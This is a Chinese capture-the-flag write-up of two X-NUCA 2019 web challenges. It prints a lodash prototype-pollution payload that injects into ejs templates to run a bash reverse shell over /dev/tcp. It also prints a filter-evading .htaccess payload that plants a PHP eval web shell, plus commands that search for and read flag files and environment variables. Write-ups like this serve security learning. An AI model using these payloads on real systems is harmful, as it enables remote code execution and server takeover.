X-NUCA 2019 Web WP
科大、中科院主办的 CTF,题目质量应该是非常不错了(比那个某空间的蛇皮脑洞题不知道要好多少,草
这里的 wp 分别是 hard_js 和 ezphp 两题的非预期解,总体而言挺有意思的,也学到了一点骚操作
hard_js
非预期解。题目原意应该是 csrf/xss 还是啥的,因为给了个 bot。但是看到 json 转义我就懒得去绕了,直接用 Debugger 去调试拿到了shell
0x00 概览
题目是给了源码的,可以看到后端是 express
写的,数据库用了 mysql
,预处理执行 sql
语句,因此可以断定这里是没有 SQL 注入的
题目源码给了 bot,所以应该是 csrf/xss 一类,但是没有看懂具体逻辑,很迷
注意到给了 package.json
,因而很有可能依赖库存在漏洞
0x01 审计
注意到 lodash
这个库,前一段时间刚刚爆出来一个高危漏洞,就是 js 的原型链污染 (至于 js 原型链污染原理啥的,可以去康康p牛的博客)
在 package.json
看了下对应的棒版本,刚好是最后一个未被修复的版本,而且锁了版本。这里可以断定是有 js 原型链污染的。
确定了有原型链污染,就要想这个污染有什么用
审计代码发现,代码本身只有一个用处
function auth(req,res,next){
// var session = req.session;
if(!req.session.login || !req.session.userid ){
res.redirect(302,"/login");
} else{
next();
}
}
因为原型链污染,我们可以控制这个中间件函数,给 Object
赋值成员 login
和 userid
,这样使得我们可以直接可以以admin用户登录(事实上根本不用登陆,直接就是admin了)
这里 payload 和网上的不太一样,因为先有个存入数据库的过程,调用了 JSON.stringify
,这样如果使用 __proto__
来污染 Object
,JSON.stringify
以后就变为了一个空对象字符串,被取出来合并的时候也会被解析为一个空的对象。因此这里并不能直接用 __proto__
污染原型链。
但是好在,js 的对象还有一个构造函数 constructor
,其中 prototype
也指向了其父类,并且在序列化的时候可以保留下来,因此我们可以用 prototype
来污染原型链。
这里构造一个测试的payload
{"type": "fuck", "content": {"constructor": {"prototype": {"login": true, "userid": 1}}}}
注意到源代码 221 行
newContent[req.body.type] = [ req.body.content ]
这样我们就给一个对象的一个成员的数组元素赋值成了一个对象(有点绕口,可以用 Debugger 观察 newContent
对象)
这样,我们初步把需要污染的变量存入了数据库,接下来我们需要触发原型链污染
注意到源代码 182 行
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
因为有 JSON.parse
,从数据库里面取出来的字符串会被反序列化为对象,这个对象的 prototype
就被我们注入了恶意的成员。再被 lodash.defaultsDeep
与一个空对象合并,这样污染了 Object
。从 Debugger 上面我们能看到 Object
已经有了成员 login: true
和 userid: 1
清除 cookie,直接访问,可以发现我们已经直接以 admin 用户登入了
0x02 getshell
到了这里,就很迷了,这个 admin 有啥用呢?其实我到最后也没想出来有啥用,对我而言只是验证了 payload 有效,原型链污染漏洞存在而已
xss 是不可能 xss 的,这任务就丢给队友了。因为我对 js 很熟,所以决定去调试代码来康康有没有直接 getshell 的点
因为用到了 ejs
的模版,因此决定从 ejs
模版渲染入手,一步步调试来看有没有注入的点
ejs Code Injection
源代码 73 – 75 行
app.get("/",auth,function(req,res,next){
res.render('index');
})
具体看这篇 Express+lodash+ejs: 从原型链污染到RCE
0x03 总结
之后就比较方便了
提交 payload 交 6 次
{"type": "fuck", "content": {"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1\"'); //"}}}}
然后访问 /get
触发原型链污染,访问 /
触发 ejs 模版渲染,拿到 shell
根据 robot.py 来看,flag应该在环境变量里面,直接执行
cat /proc/self/environ
拿到 flag
ezphp
同样,这题也是非预期解,懒得写太多了,直接复制粘贴算了
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
.php 文件可以上传,但是没被解析为 php 文件
.htaccess 文件可以上传,但是500了,这是由于末尾脏数据的影响
末尾单独加一行,反斜杠会变成连接符,连接下一行的脏数据,这样不会500
# fuck!! \
同样利用多行拼接绕过内容关键词的过滤
最终payload
?filename=.htaccess&content=<Fil\%0aes ~ "^\.ht">%0a%20%20Require all granted%0a%20%20Order allow,deny%0a%20%20Allow from all%0a</Fil\%0aes>%0aAddTy\%0ape applicatio\%0an/x-httpd-php%20.htaccess%0a<Fil\%0aesMatch "^\.ht">%0a%20%20SetHandler applicatio\%0an/x-httpd-php%0a</Fil\%0aesMatch>%0aphp_value%20auto_prepend_fi\%0ale%20.htaccess%0aphp_fl\%0aag%20engine%201%0a%23%20<?php eval($_GET[x]); ?>%0a%23Fuck\
然后找一下 flag
system(%27find%20/%20-type%20f%20-name%20"flag*"%27);
在 /root/flag.txt
,然后cat一下就行了
1 条评论